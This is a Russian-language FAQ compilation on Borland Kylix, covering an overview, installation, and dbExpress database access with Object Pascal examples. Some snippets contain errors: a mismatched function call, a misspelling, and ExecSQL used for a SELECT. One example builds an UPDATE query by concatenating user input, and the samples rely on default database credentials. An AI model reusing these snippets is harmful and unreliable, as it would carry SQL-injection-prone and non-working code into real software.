Разработчики из Borland постарались сделать Kylix максимально похожим на Delphi, и это касается не только языка программирования и структуры VCL. Пользовательский интерфейс Kylix полностью воспроизводит интерфейс своего "старшего брата". Даже диалоги открытия и сохранения файлов практически одинаковы в обеих версиях. У программистов, привыкших к интерфейсу Delphi, работа в Kylix не вызовет проблем. Для тех, кто имеет опыт программирования для Linux, отмечу, что интегрированная среда разработки Kylix отличается стабильностью графического интерфейса, развитым набором функций редактирования текста и прекрасной встроенной справочной системой. Кроме того, Kylix снабжен отличной печатной документацией (на компакт-диске имеются ее электронные версии): руководством по языку ObjectPascal, справочником по библиотеке VCL (Библиотека визуальных компонентов) и руководством для быстрого освоения пакета.

Преимущества Kylix – те же, что и у Delphi: ускорение цикла разработки приложений, готовые компоненты для работы с базами данных, Web-интерфейсами и Интернет. К этому следует добавить возможность переноса дополнительных компонентов, написанных для Delphi. Тут надо отдать должное разработчикам: для переноса модулей, написанных исключительно средствами ObjectPascal и VCL, достаточно просто перекомпилировать исходные тексты в новой среде. Естественно, многие компании и программисты, занимающиеся разработкой компонентов для Delphi, уже выпустили их версии и для Kylix. Некоторые из этих компонентов можно найти на втором диске дистрибутива.

Немного соли и желчи

Традиционными недостатками Delphi считаются медлительность и громоздкость результирующего кода. К сожалению, в этом вопросе Kylix также копирует своего "старшего брата". Для того, чтобы приложение, написанное в Kylix, могло работать отдельно от среды разработки, ему требуются некоторые разделяемые модули времени выполнения (runtime packages). Список модулей, которые могут понадобиться Kylix приложению, а также правила их распространения и установки приводятся в файле DEPLOY, расположенном на первом диске дистрибутива. Размеры самих исполнимых модулей примерно такие же, как и в случае с Delphi, простейшее приложение занимает на диске ~ 400 килобайт. Плюс несколько сотен килобайт дополнительных модулей, которые в Delphi не нужны. Для сравнения: простое приложение, написанное на Delphi без использования модулей SysUtils, Classes, Forms и т. п. (т. е. используя только Windows API) занимает 20-40 килобайт. Такой же размер имеет и аналогичное Linux приложение, написанное на C++ с использованием QT library.

Очевидно, что Kylix – не лучший выбор в ситуации, когда компактность кода и быстрота являются критическими параметрами.

Все это не умаляет, однако, достоинств Kylix, как средства быстрой разработки приложений для работы с сетью и базами данных, а при использовании большого числа Kylix приложений, удельные расходы на разделяемые модули времени выполнения снижаются.

P.S. Для тех, кто не знает, kylix - это античная винная чаша, обычно покрытая росписью с внешней и с внутренней стороны.

Статья и примеры программ © 2001 Андрей Наумович Боровский.

Взято из http://forum.sources.ru


Работа с базами данных

Cодержание раздела:

DBExpress
· Kylix Tutorial. Работа с DBExpress (статья)
· Использование SQLMonitor (DBExpress)
· Accessing InterBase via dbExpress with Kylix produces error: Unable to load libgds.so
· Работа с клиентскими наборами данных (DBExpress)

Does Kylix support Postgres?
Does Kylix support ODBC?


DBExpress

Cодержание раздела:

Kylix Tutorial. Работа с DBExpress (статья)
Использование SQLMonitor (DBExpress)
Accessing InterBase via dbExpress with Kylix produces error: Unable to load libgds.so
Работа с клиентскими наборами данных (DBExpress)

См. также статьи в других разделах:
Развертывание приложения, использующего dbExpress
Создание DBExpress-Connection в Run-Time


Kylix Tutorial. Работа с DBExpress (статья)

Эта серия статей была любезно предоставлена автором Mike Goblin для нашего FAQ.

Взято с сайта http://www.delphimaster.ru/


Kylix Tutorial. Часть 1. Установка

Итак, свершилось, проходя мимо ларька с CD я увидел компакт с этикеткой синего цвета и магической надписью Kylix. Вернее диска было два и оба были немедленно куплены.
Беглое изучение их показало, что один содержит непосредственно Kylix, а второй дополнительные компоненты и утилиты третьих фирм и Interbase 6. По хорошей традиции пиратами была слита самая "продвинутая" версия Kylix Server Developer.
Ставить Kylix я пробовал под RedHat Linux 7.0.
Для установки нам потребуется
а) Компьютер с установленной ОС Linux
б) В составе Linux должны быть установлены графические оболочки GNOME и / или KDE (возможно Kylix будет работать и с другими, но эти две наиболее распространенны и Borland гарантирует работу под ними). Лично я пользуюсь KDE, посему про нее и буду рассказывать.
в) Права пользователя root

Первым делом необходимо установить патч на библиотеку glibc, по каким-то причинам не устроившую фирму Borland. Для этого и необходимо иметь права root. Заплатки (patches) сложены в директории /patches CD-ROM. Для Redhat 7.0 необходимо перейти в директорию <путь к CD>/patches/glibc_redhat/7.0. Установка патчей выполняется командами
rpm -Uvh glibc-[2c]*
rpm -Fvh glibc-[dp]* nscd-*

Возможно также Вам придется установить пакет libjpeg либо из дистрибутива RedHat либо из папки <путь к CD>/patches/jpeg6.2.0
Далее установка может проводиться как под аккаунтом root, так и под простым пользователем. Для инсталляции необходимо запустить на выполнение скрипт setup.sh. из корня CD.Графическая оболочка установки сделана удобно и интуитивно понятна. По умолчанию установка предлагается в домашнюю директорию пользователя, однако, чтобы при наличии нескольких пользователей лучше устанавливать в /usr/kylix, чтобы Kylix был доступен всем.
После установки запуск IDE Kylix можно выполнить
1) из командной строки: <путь инсталляции>/bin/startkylix
2) из выпадающего меню KDE (аналог кнопки Пуск в Windows). Меню Borland Kylix/Kylix
3) из выпадающего меню KDE (аналог кнопки Пуск в Windows). Меню /RedHat/ Borland Kylix/Kylix

Далее обнаруживается следующая неприятная вещь: в среде разработки программы компилируются и работают, однако при запуске вне IDE возникают ошибки. Лечится это так
1. Прописать пути к библиотекам. В файле .bash_profile в строку PATH добавить путь к директории bin Kylix-а. Например, если он установлен в /usr/kylix - то добавить надо путь /usr/kylix/bin.
2. В файл /etc/ld.so.conf добавить строчку с путем к libqtintf.so (в нашем примере /usr/kylix/bin)
3. запустить ldconfig.

Автор: Mike Goblin
Взято с сайта http://www.delphimaster.ru/

с разрешения автора.


Kylix Tutorial. Часть 2. Работа с базами данных через dbExpress.

Фирма Borland в Kylix и Delphi 6 реализовала новый движок для работы с базой данных dbExpress. Данный движок предназначен для работы с серверными БД. На сегодняшний день поддерживаются MySQL, Oracle, Interbase, DB2. К сожалению, на момент выпуска Kylix он работал не со всеми версиями MySQL. В частности, он не заработал с MySQL 3.23.22-beta. За неимением Oracle и DB2 я пользовался Interbase 6, находившемся на втором диске дистрибутива.

Архитектура доступа к данным
В самом виде приложение для работы с базами данных может быть представлено в следующем виде:

Ничего принципиально нового здесь нет, по сравнению с Delphi. Но это только на первый взгляд. В dbExpress датасеты делятся на два вида:
1. Клиентский датасет (client dataset)
2. Однонаправленные датасеты (unidirectional dataset)
Клиентский датасет хранит выбранные записи в памяти. Это позволяет осуществлять навигацию в любом направлении, фильтровать записи, кешировать изменения итд. Именно данный вид используется для отображения данных пользователю.
Однонаправленные запросы не кешируют данные. Передвигаться по ним можно только в направлении указанном в конструкции ORDER BY SQL запроса, данные не могут быть изменены. Однако они предоставляют быстрый доступ к большим массивам записей.

Компоненты закладки dbExpress
Посмотрим, что приготовила нам фирма Borland по части компонентов на закладке dbExpress
Свойства | Описание
SQLConnection
Компонент для организации связи с сервером базы данных. Аналог Database в BDE. Позволяет управлять параметрами соединения с сервером БД, такие как путь к базе данных, имя и пароль пользователя итд.
Connected:boolean | Признак установления соединения с БД. True - соединение активно.
ConnectionName: string | Имя конфигурации, содержащей параметры соединения. Аналог AliasName в TDatabase для BDE
DriverName: string | Имя драйвера для соединения. (DB2, Interbase,Oracle, MySQL). Устанавливается автоматически при установке св-ва ConnectionName
KeepConnection: boolean | Поддерживать соединение с сервером БД, если в приложении нет активизированных датасетов.
LibraryName: string | Имя библиотеки, содержащей драйвер для связи с сервером БД
LoadParamsOnConnect: boolean | Загружать ли параметры соединения, ассоциированные с именем соединения, перед установкой соединения в run time. Полезно в случае когда параметры соединения могут быть изменены вне приложения или меняются в design time
LoginPrompt: Boolean | Запрашивать логин и пароль при соединении
Name: TComponentName | Имя компонента
Params: TStrings | Параметры соединения
TableScope: TTableScopes | Параметры видимости таблиц TsSynonym - видеть синонимы TsSysTable - видеть системные таблицы TsTable - видеть таблицы TsView - видеть просмотры
VendorLib: string | Имя библиотеки с клиентской частью БД
SQLDataSet
Однонаправленный датасет общего назначения.
Active: boolean | Активность датасета
CommandText: string | Текст команды (запроса) на получение или манипуляции с данными
CommandType: TSQLCommandType | Тип датасета CtQuery - SQL запрос CtTable - таблица, автоматически генерируется запрос на выборку всех записей по всем полям CtStoredProc - хранимая процедура
DataSource: TDataSource | Источник данных для мастер датасета
MaxBlobSize: integer | Максимальный размер BLOB полей
ObjectView: Boolean | Включить иерархическое представление для вложенных полей
ParamCheck:Boolean | Обновлять список параметров при изменении текста команды
Params:Tparams | Список параметров команды
SortFieldNames: string | Список полей для сортировки датасета, поля разделяются точкой с запятой. Действует для CommandType ctTable
SQLConnection: TSQLConnection | Имя компонента SQLConnection через который будет происходить работа с БД
Tag: integer | Тэг
SQLQuery
Запрос к БД (однонаправленный)
Active: boolean | Активность запроса
DataSource: TDataSource | Источник данных для мастер датасета
MaxBlobSize: integer | Максимальный размер BLOB полей
ObjectView: Boolean | Включить иерархическое представление для вложенных полей
ParamCheck:Boolean | Обновлять список параметров при изменении текста запроса
Params:Tparams | Список параметров запроса
SQL:TStrings | Текст запроса
SQLConnection: TSQLConnection | Имя компонента SQLConnection через который будет происходить работа с БД
Tag: integer | Тэг
SQLStoredProc
Хранимая процедура (в случае получения данных однонаправленная)
Active: boolean | Активность хранимой процедуры
MaxBlobSize: integer | Максимальный размер BLOB полей
ObjectView: Boolean | Включить иерархическое представление для вложенных полей
ParamCheck:Boolean | Обновлять список параметров при изменении процедуры
Params:Tparams | Список параметров процедуры
SQLConnection: TSQLConnection | Имя компонента SQLConnection через который будет происходить работа с БД
Tag: integer | Тэг
SQLTable
Таблица базы данных (однонаправленный датасет)
Active: boolean | Активность таблицы
IndexFieldNames: string | Список полей сортировки (через точку с запятой)
IndexName: string | Имя индекса сортировки. Возможно использование либо IndexName или IndexFieldNames
MasterSource: TdataSource | Мастер источник данных для организации отношений главный-подчиненный (master-detail)
MasterFields:string | Поля связи главный-подчиненный
MaxBlobSize: integer | Максимальный размер BLOB полей
ObjectView: Boolean | Включить иерархическое представление для вложенных полей
SQLConnection: TSQLConnection | Имя компонента SQLConnection через который будет происходить работа с БД
TableName: string | Имя таблицы БД из которой будут выбраны данные
Tag: integer | Тэг
SQLMonitor
Организация наблюдения за работой компонентов доступа к данным
Active: boolean | Активность монитора
AutoSave: Boolean | Автоматическое сохранения журнала событий в файл, указанный в FileName
FileName: string | Имя файла для хранения журнала событий
SQLConnection: TSQLConnection | Имя компонента SQLConnection через который будет происходить работа с БД
Tag: integer | Тэг
TraceList:Tstrings | Журнал событий
SQLClientDataSet
Клиентский датасет общего назначения
Active: boolean | Активность датасета
Aggregates: Taggregates | Список доступных агрегатов
AggregatesActive: boolean | Вычисление агрегатов
AutoCalcFields: boolean | Генерировать событие OnCalcFields и обновлять Lookup поля True - · при открытии датасета · при переходе датасета в состояни dsEdit · Передача фокуса ввода другому компоненту или другому столбцу (для сетки) при наличии изменений в текущей ячейке False · при открытии датасета · при переходе датасета в состояни dsEdit · Запись извлекается из БД
CommandText: string | Текст команды для выполнения (SQL запрос). При установке св-ва FileName данное св-во игнорируется При сбросе флага poAllowCommandText в св-ве Options также текст команды игнорируется
CommandType: TSQLCommandType | Тип датасета CtQuery - SQL запрос CtTable - таблица, автоматически генерируется запрос на выборку всех записей по всем полям CtStoredProc - хранимая процедура
ConnectionName: string | Имя конфигурации, содержащей параметры соединения. Аналог AliasName в TDatabase для BDE
Constraints: TConstraints | Ограничения на значения на уровне одной записи
DBConnection: TSQLConnection | Имя компонента SQLConnection через который будет происходить работа с БД
DisableStringTrim: boolean | Удалять конечные пробелы в строковых полях при их вставке БД
FetchOnDemand: boolean | Получать данные по мере необходимости
FieldDefs: TFieldDefs | Определения полей
FileName: string | Имя файла для сохранения кеша данных
Filter: string | Фильтр
Filtered: Boolean | Включение фильтрации
FilterOptions: TFilterOptions | Параметры фильтрации
IndexDefs: TindexDefs | Определения индексов
IndexFieldNames: string | Список полей сортировки (через точку с запятой)
IndexName: string | Имя индекса сортировки. Возможно использование либо IndexName либо IndexFieldNames
MasterSource: TdataSource | Мастер источник данных для организации отношений главный-подчиненный (master-detail)
MasterFields:string | Поля связи главный-подчиненный
ObjectView: Boolean | Включить иерархическое представление для вложенных полей
Options: TProviderOptions | Параметры работы с данными
PacketRecord: integer | Количество записей в одном пакете данных -1 - все >0 - количество 0 - включать в пакет только метаданные
Params: Tparams | Значение параметров для выборки данных
ReadOnly: Boolean | Доступ только для чтения
Tag: integer | Тэг
UpdateMode: TUpdateMode | Способ поиска записи при записи изменений UpWhereAll - использовать все поля UpWhereChanged - ключевые поля+старые значения измененных полей UpWhereKeyOnly - только ключевые поля

Попробуем написать простейшее приложение для просмотра данных из базы в /usr/ibdb (будем считать что папка уже создана). Для этого выполним следующие шаги:

1. Создадим базу данных в Interbase 6. У меня он проинсталировался в /opt/interbase .
1.1 Запустим сервер /opt/interbase/bin/ibguard &
1.2 Войдем в оболочку isql - /opt/interbase/bin/isql
1.3 Введем SQL запросы на создание БД и таблицы users:

create database '/usr/ibdb/test.gdb';
create table users( ID integer not null primary key, NAME varchar(20));
commit;
quit;

Если все выполнено правильно - то в папке /usr/ibdb появится файл test.gdb.
2. Создадим новое приложение. Меню File/NewApplication в IDE Kylix
3. На главной форме приложения разместим с закладки dbExpress компоненты: SQLConnection и SQLDataSet. SQLConnection - это "соедиение" с базой данных, т.е с его помощью можно управлять параметрами соединения, такими как тип драйвера, имя пользователя и пароль. Двойной щелчок левой кнопкой мыши на SQLConnection1 вызовет окно работы с соединениями.
Name - test_connect. После добавления установим следующие параметры:
Database - /usr/ibdb/test.gdb
ServerCharSet - win1251
Кнопкой "ОК" закроем диалог. Свойство Connected установим в True. В диалоге запроса пароля введем пароль masterkey. Соединение установлено.
Компонент SQLClientDataSet1 будет извлекать данные из таблицы users. Почему мы используем его а не SQLQuery? Ответ очень прост - SQLQuery - однонаправленный датасет. Поэтому он не может обеспечить навигации в обе стороны и редактирование данных.
Свойство DBConnection компонента SQLClientDataSet1 установим равным SQLConnection1. Введем запрос на выборку данных из таблицы users - select * from users - в св-во CommandText, либо воспользуемся диалогом для данного св-ва. Активизируем запрос, установив св-во Active в True.
Далее с закладки Data Access на форму положим компонент TDataSource. Данный компонент делает данные из датасетов доступными для отображения в пользовательских элементах управления (сетках итд). Его св-во DataSet установим в ClientDataSet1.
Перейдем на закладку DataControls и с нее разместим на форме сетку данных DBGrid и DBNavigator. Для обоих компонентов св-во DataSource установим в DataSource1. При этом в DBGrid1 появится заголовок с наименованиями полей таблицы users.

Теперь можно запустить приложение на выполнение (F9 однака).

Автор: Mike Goblin
Взято с сайта http://www.delphimaster.ru/

с разрешения автора.


Kylix Tutorial. Часть 3. Работа с базами данных через dbExpress. Коннект - есть коннект.

Как говорилось раньше, SQLConnection предназначен для
1. Подключения к базе данных с заданными параметрами
2. Управления параметрами соединения и драйвера БД.
3. Получения списка установленных драйверов баз данных и доступных соединений
4. Создания, удаления, редактирования соединений.
5. Управление транзакциями
6. Выполнение SQL операторов
7. Получение метаданных

Подключения к базе данных
Подключение к базе данных осуществляется установкой св-ва Connected в True, либо вызвом метода Open. Отключение - установка Connected в False или вызов метода Close. Перед подключением необходимо установить имя соединения (св-во ConnectionName).
Пример установления соединения в run-time:

  SQLConnection1.Connected:=false;
  SQLConnection1.ConnectionName:='test_connect';
  SQLConnection1.Connected:=true;

Управления параметрами соединения и драйвера БД.
Значения параметров по умолчанию для соединений хранятся в файле <домашняя директория пользователя>/.borland/dbxconnections или при отсутствии файлов по указанному пути в /usr/local/etc/dbxconnections.conf. Он представляет собой текстовый файл формата ini файлов. То есть содержит набор секций, заключенных в квадратные скобки и параметров в формате Имя параметра=значение параметра. Вот кускок этого файла:

[DB2Connection]
DriverName=DB2
BlobSize=-1
Database=DBNAME

Для драйверов настройки по умолчанию хранятся по указанным выше путям в файле dbxdrivers
Для получения настроек, в принципе можно анализировать содержимое этих файлов, написав собственный код, однако гораздо удобнее пользоваться стандартными решениями. Свойство Params типа TStrings предоставляет нам доступ к параметрам соединения.

Пример - установка имени и пароля пользователя:
SQLConection1.Params.Values['User_Name']:='SYSDBA';
SQLConection1.Params.Values['Password']:='masterkey';

Свойство LoadParamsOnConnect типа Boolean позволяет управлять автоматической установкой св-в DriverName и Params в значения по умолчанию для данного соединения перед установкой соединения. Данное св-во полезно лишь во время выполнения приложения при смене имени соединения. Во время разработки загрузка установка св-в по умолчанию происходит автоматически.

Получения списка установленных драйверов баз данных и доступных соединений
Способ №1: анализировать содержимое файлов dbxconnections и dbxdrivers. Неудобно надо писать много собственного кода (который уже написан программистами Borland).

Способ №2. Использование функций из модуля SqlExpr
GetDriverNames(List: TStrings; DesignMode:Boolean = True) - получение списка доступных драйверов.
List - список для заполнения именами драйверов
DesignMode - в каком режиме разработки (true) или выполнения программы (false) вызывается функция.
Пример получение списка драйверов dbExpress:

procedure TForm1.Button2Click(Sender:TObject);
begin
  // cb_drivers - это комбобокс для отображения списка драйверов
  GetDriverNames(cb_drivers.Items, false);
end;

procedure GetConnectionNames(List: TStrings; Driver:string = ''; DesignMode:Boolean = True);

Получение списка доступных соединений.
List - список для заполнения именами драйверов
Driver - имя драйвера, к которому подключаются соединения
DesignMode - в каком режиме разработки (true) или выполнения программы (false) вызывается функция.

Пример получение списка соединений доступных для INTERBASE:

procedure TForm1.Button1Click(Sender:TObject);
begin
  // cb_conn - это комбобокс для отображения списка драйверов
  GetDriverNames(cb_conn.Items, 'INTERBASE', false);
end;

Использование данных функций удобно, но не дает полного контроля за соединениями. Сами эти функции в своей работе используют интерфейс IConnectionAdmin.

Способ №3 Использование интерфейса IConnectionAdmin (определен в модуле DBConnAdmin). Данный способ дает наиболее мощные возможности по работе с соединениями.
Пример получение списка драйверов:

Var
  ConnAdm: IConnectionAdmin;
Begin
  // Получаем ссылку на интрефейс
  ConnAdm:=GetConnctionAdmin;
  ConnAdm. GetConnectionNames(cb_drivers);
End;

Методы интерфейса IConnectionAdmin;
IConnectionAdmin = interface
    // Получение имен драйверов доступа к серверам БД
    function GetDriverNames(List: TStrings): Integer;
    // Получение параметров драйвера по умолчанию
    function GetDriverParams(const DriverName: string; Params: TStrings): Integer;
    // Получение имен файлов библиотек
    procedure GetDriverLibNames(const DriverName: string;
      var LibraryName, VendorLibrary: string);
    // Получание списка соединений, доступных  для  заданного типа драйвера
    function GetConnectionNames(List: TStrings; DriverName: string): Integer;
   // Получение параметров соединения по умолчанию
   function GetConnectionParams(const ConnectionName: string; Params: TStrings): Integer;
   // Получение значения параметра соединения
    procedure GetConnectionParamValues(const ParamName: string; Values: TStrings);
   // Добавление нового соединения
    procedure AddConnection(const ConnectionName, DriverName: string);
   // Удаление соединения
    procedure DeleteConnection(const ConnectionName: string);
   // Изменение параметров соединения по умолчанию
    procedure ModifyConnection(const ConnectionName: string; Params: TStrings);
   // Изменение имени соединения
    procedure RenameConnection(const OldName, NewName: string);
   //  Изменение параметров драйвера по умолчанию
    procedure ModifyDriverParams(const DriverName: string; Params: TStrings);
  end;

Создания, удаления, редактирования соединений.
Наверно, Вы уже догадались, что данные операции выполняются методами интерфейса IconnectionAdmin. Можно также и руками поправить файлы с конфигурациями, а можно двойным щелчком мыши на компоненте SQLConnection открыть диалог редактирования - выбирайте, что Вам удобнее.

Управление транзакциями
Вообще говоря, можно подтверждать или откатывать транзакции, передавая SQL запросы commit или rollback. Однако в SQLConnection определены специальные методы для управления транзакциями.
Начать новую транзакцию можно вызовом процедуры

Procedure StartTransaction( TransDesc: TTransactionDesc);

В качестве параметра передается структура с описанием транзакции, поля структуры:
TransactionID: LongWord - уникальный (уникальность обеспечивает программист) идентификатор транзакции.
GlobalID:LongWord - как написано в доке, используется для транзакций в Oracle, зачем пока не ясно
IsolationLevel - уровень изоляции транзакции, значения
xilDIRTYREAD - "грязное" чтение, транзакция видит все изменения других транзакций, даже если они еще не подтверждены
xilREADCOMMITES - видны только результаты подтвержденных транзакций, но изменения, сделанные другими после старта транзакции (во время ее выполнения) не видны в транзакции.
xilREPEATABLEREAD - гарантируется состоятельность полученных данных, даже если другие транзакции подтверждаются после старта текущей транзакции.
XilCUSTOM - специфический для данного сервера БД уровень изоляции, значение уровня изоляции определяется членом структуры CustomIsolationLevel. На данный момент не поддерживается в dbExpress

CustomIsolationLevel:LongWord - см выше

Завершаться транзакции, как известно, могут либо подтверждением, либо откатом изменений.
Подтверждение
Procedure Commit (TransDesc: TTransactionDesc);
TransDesc - структура с описанием подтверждаемой транзакции

Откат
Procedure Rollback (TransDesc: TTransactionDesc);
TransDesc - структура с описанием откатываемой транзакции

Другие методы и свойства, связанные с управлением транзакциями
TransactionLevel: SmallInt - идентификатор текущей транзакции, совпадает с TransactionID в описании транзакции
TransactionSupported : LongBool - поддерживает ли БД транзакции
InTransaction: Boolean - открыта ли транзакция?

Выполнение SQL операторов
В SQLConnection определены два метода для выполнения запросов к БД.

Function Execute (const SQL: string; Params:TParams; ResultSet: Pointer = nil):integer;
Выполняет запрос определенный в параметре SQL c параметрами, переданными в Params. Если в результате запроса были получены записи, то в ResultSet возвращается указатель на TCustomSQLDataSet, содержащий полученные записи. Возвращает количество полученных записей.
Если запрос не содержит параметров и не возвращает записей проще использовать вызов

Function ExecuteDirect(const SQL: string):LongWord;
Возвращает 0 при успешном завершении и код ошибки в случае неудачи.

Получение метаданных
В SQLConnection определен ряд методов для получения метаданных.

Получение списка таблиц и списка полей в таблице

Procedure GetTableNames(List: TStrings; SystemTables: boolean = false);
Если установить SystemTables в True будут выбраны только системные таблицы, в обратном случае набор таблиц определяется установками св-ва TableScope.
ВНИМАНИЕ: я пробовал устанавливать в TableScope все элементы, но при этом не получал списка таблиц (должны выбираться и системные и обычные таблицы)- кривые руки? Скорее глюк. Может Вам повезет больше.
Список полей может быть получен вызвом метода GetFieldNames
В SQLConnection он определен как

Procedure GetFieldNames(const TableName: string; List: TStrings);

Получение списка процедур и их параметров
GetProcedureNames и GetProcedureParams

Получение списка индексов
GetIndexNames

Автор: Mike Goblin
Взято с сайта http://www.delphimaster.ru/

с разрешения автора.


Kylix Tutorial. Часть 4. Использование однонаправленных наборов данных

Однонаправленные наборы данных предоставляют механизм доступа для чтения данных из таблиц сервера БД с помощью SQL команд. Они созданы для быстрого и "легковесного" доступа к информации сервера БД с минимальной загрузкой последнего. Однонаправленные наборы данных посылают команды серверу БД и в случае наличия набора записей, получают однонаправленный курсор для доступа к этим записям. Однонаправленные наборы данных не буферизируют полученные данные в памяти, что делает их более быстрыми и менее ресурсоемкими по сравнению с другими типами наборов данных. Однако, из-за отсутствия буфера записей, однонаправленные наборы данных менее гибки. Многие из возможностей, объявленных в TDataSet либо не реализованы, либо вызывают генерацию исключительных ситуаций. Например:
· Из методов навигации поддерживаются только First и Next. Большинство других методов вызывают исключения. Некоторые, такие как методы работы с закладками (Bookmarks), представляют собой просто заглушки.
· Нет встроенной поддержки для редактирования записей, поскольку для этого требуется буферизация.
· Свойство CanModify всегда равно False, и попытки перевода датасета в режим редактирования всегда приводят к неудаче. Редактирование данных, однако, может осуществляться с помощью SQL команды UPDATE или при помощи подключения клиентского набора данных.
· Отсутствует поддержка фильтров, поскольку это требует буферизации. При попытке фильтрации вызывается исключение. Все ограничения на диапазон выбираемых записей должны содержаться в SQL команде.
· Отсутствует поддержка lookup полей, т.к при этом необходимо буферизировать возможные значения такого поля.
Однако отсутствие буферизации делает однонаправленные наборы данных быстрыми, простыми в реализации и распространении. На закладке dbExpress палитры компонентов представлены четыре типа однонаправленных наборов данных: TSQLDataSet, TSQLQuery, TSQLTable и TSQLStoredProc.
TSQLDataSet наиболее общий из всех четырех. Может использоваться для выборки любых данных или выполнения SQL команд. Данный компонент рекомендуется использовать для работы через dbExpress.
TSQLQuery можно использовать так же как и TSQLDataSet. Главное отсутсвии поддержки хранимых процедур (хотя многие сервера позволяют вызывать хранимые процедуры из запросов, но каждый делает это по-своему, стандартный синтаксис отсутствует). Данный компонент присутствует, в основном, для обеспечения совместимости при переносе приложений из Windows.
TSQLTable компонент, дающий доступ ко всем записям и полям таблицы. Данный компонент присутствует, в основном, для обеспечения совместимости при переносе приложений из Windows.
TStoredProc компонент доступа к хранимым процедурам сервера. Данный компонент присутствует, в основном, для обеспечения совместимости при переносе приложений из Windows.

Подключение к базе и открытие. Управление транзакциями.
Так как TSQLDataSet рекомендован в качестве универсального датасета доступа к данным далее мы его и рассмотрим, хотя многие моменты, как Вы заметите, будут верны для всех однонаправленных датасетов. Для получения данных с SQL сервера необходимо подключить однонаправленный датасет к БД, задать комаду и активизировать (открыть) его.
Для подключения к БД необходимо установить свойство SQLConnection равным имени компонента TSQLConection, который обеспечивает подключение к базе. В инспекторе объектов на этапе разработки автоматически отображается выпадающий список доступных подключений.
Текст команды необходимо указать в свойстве CommandText, интерпретация текста команды зависит от типа команды, указанного в свойстве CommandType. TSQLDataSet поддерживает 3 типа команд:
· ctQuery - в свойстве CommandText должен присутсвовать SQL запрос;
· ctStoredProc - в свойстве CommandText указывается имя хранимой процедуры;
· ctTable - в свойстве CommandText указывается имя таблицы из которой будут выбраны записи.
Активизация датасета в случае выполнения команды, возвращающей набор данных, (запросы SELECT, выборка таблицы итд) производится установкой свойства Active в True, либо вызовом метода Open. В обратном случае, если набор данных при выполнении команды не формируется (не путайте с пустым набором данных), нужно использовать метод ExecSQL.
Управление транзакцией, в которой осуществляется работа с сервером БД, однонаправленный датасет реализует через public свойство TransactionLevel. При одновременном открытии нескольких транзакций в компоненте TSQLConnection, можно установить TransactionLevel в значение идентификатора желаемой транзакции (поле TransactionID в структуре описания транзакции TTransactionDesc) при этом выполнение команд будет происходить в заданной транзакции.
Примеры:

// Выполнение запроса возвращающего набора данных
begin
  SQLDataSet1.CommandType:=ctQuery;
  SQLDataSet1.CommandText:='select * from MyTable';
  SQLDataSet1.ExecSQL;
end;

// Выполнение запроса не возвращающего набора данных
begin
  SQLDataSet1.CommandType:=ctQuery;
  SQLDataSet1.CommandText:='update MyTable set StrField1 = '''+Edit1.Text+''' where id = 5';
  SQLDataSet1.ExecSQL;
end;

// Выполнение запроса возвращающего таблицу с SQL сервера.
begin
  SQLDataSet1.CommandType:=ctTable;
  SQLDataSet1.CommandText:='MyTable';
  SQLDataSet1.ExecSQL;
end;

Навигация по записям. Свойства Eof и Bof. Количество записей, номер записи.
Если Вы работали с базами данных в Delphi, можете пропустить этот раздел.
Как уже говорилось ранее, поддерживаются всегод два метода навигации по набору данных First и Next. Метод First делает текущей первую запись, метод Next позволяет передвинуться на одну запись вперед.
Свойство Eof типа boolean определяет достигнут ли конец набора данных. Свойство Bof также типа boolean индицирует нахождение в начале набора данных. Приведем в качестве примера код процедуры перебора записей набора данных:

begin
  with SQLDataSet1 do
  begin
    Open;
    while not Eof do
    begin
      Next;
    end;
  end;
end;

Количество записей в наборе данных содержится в public свойстве RecordCount, а порядковый номер записи в свойстве RecNo. Однако нумерация записей поддерживается не всеми типами серверов БД. Чтобы узнать поддерживается ли возможность нумерации необходимо проанализировать возвращаемое значение функции IsSequenced, если значение равно True, то нумерация поддерживается, иначе для всех записей значение свойства RecNo равно -1.

Порядок сортировки.
Порядок сортировки записей для типа команд ctQuery при выборке данных определяется конструкцией SQL ORDER BY, заданной в тексте запроса ( св-во CommandText).
Для типа команды ctTable порядок сортировки по умолчанию определяет SQL сервер. Для изменения порядка сортировки в этом случае необходимо в свойстве SortFieldNames указать имена полей сортировки, разделив их точкой с запятой. При генерации запроса на выборку таблицы данные поля будут вставлены в запрос в конструкции ORDER BY. Данный способ пригоден и для команды ctQuery. При этом в тексте SQL команды не должно содержаться ORDER BY. Однако первый описанный способ сортировки для типа команд ctQuery более предпочтителен.
Для типа команды ctStoredProc порядок сортировки определяется в самой хранимой процедуре.

Использование параметров в запросах и хранимых процедурах,подготовка запросов
Если Вы работали с базами данных в Delphi, можете пропустить этот раздел.
Свойство Params позволяет работать с параметрами запроса или хранимой процедуры. Параметры - это переменные запроса, которые Вы можете менять в design и runtime без изменения текста запроса. Например, в данном запросе параметр P_ID используется для задания критерия отбора записей.

SELECT * FROM mytable where id < :P_ID

Параметр заменяет конкретное значение, которое подставляется на этапе выполнения запроса. Имена параметров начинаются со знака :. Перед выполнением запроса необходимо задать значения всех его параметров.
При изменении текста запроса параметры, указанные в тексте добавляются в свойсвтво Params автоматически, если необходимо отключить такое поведение сбросьте свойство ParamCheck в False.
Свойство Params является коллекцией объектов типа TParam. Класс TParam описывает параметр запроса или хранимой процедуры. Наиболее важные свойства этого класса:
· DataType:TFieldType - тип данных параметра
· ParamType:TParamType - тип параметра :
· ptUnknown - неопределенный тип, перед выполнением запроса или процедуры надо задать конкретный тип из следующих возможных
· ptInput - входной параметр (используется для передачи параметров),
· ptOutput - выходной (используется для возврата значений из хранимой процедуры),
· ptInputOutput - и входной и выходной,
· ptResult - результат работы процедуры может быть только один параметр данныого типа для одной процедуры.
· Value: Variant - значение параметра. Должно быть заполено перед выполнением запроса.
В режиме разработки данные свойства устанаваливаются с помощью Object Inspector. В режиме выполнения для установки свойств и значений параметров используются следующие методы:
· ParamByName - доступ к параметру по имени
Например:

SQLDataSet1.ParamByName('Country').AsString:='Russia';
· Params - доступ по индексу(номеру). Индексирование ведется с 0.
Например:

SQLDataSet1.Params[0].AsString:='Russia';
· ParamValues - установка значений нескольких параметров.
Например:

SQLDataSet1.ParamValues['Name;Country']:=VarArrayOf([Edit1.Text, Edit2.Text]);
Подготовка запроса подразумевает анализ и разбор текста запроса SQL сервером, подстановку параметров и подготовку к выполнению. После выполнения команды сервер освобождает задействованные ресурсы. Однако при частом исполнении одного и того же запроса (даже с разными значениями параметров) для повышения быстродействия имеет смысл хранить скомпилированный запрос на сервере. Для этого свойство Prepared необходимо установить в True.

Запросы главный-подчиненный.
Если Вы работали с базами данных в Delphi, можете пропустить этот раздел.
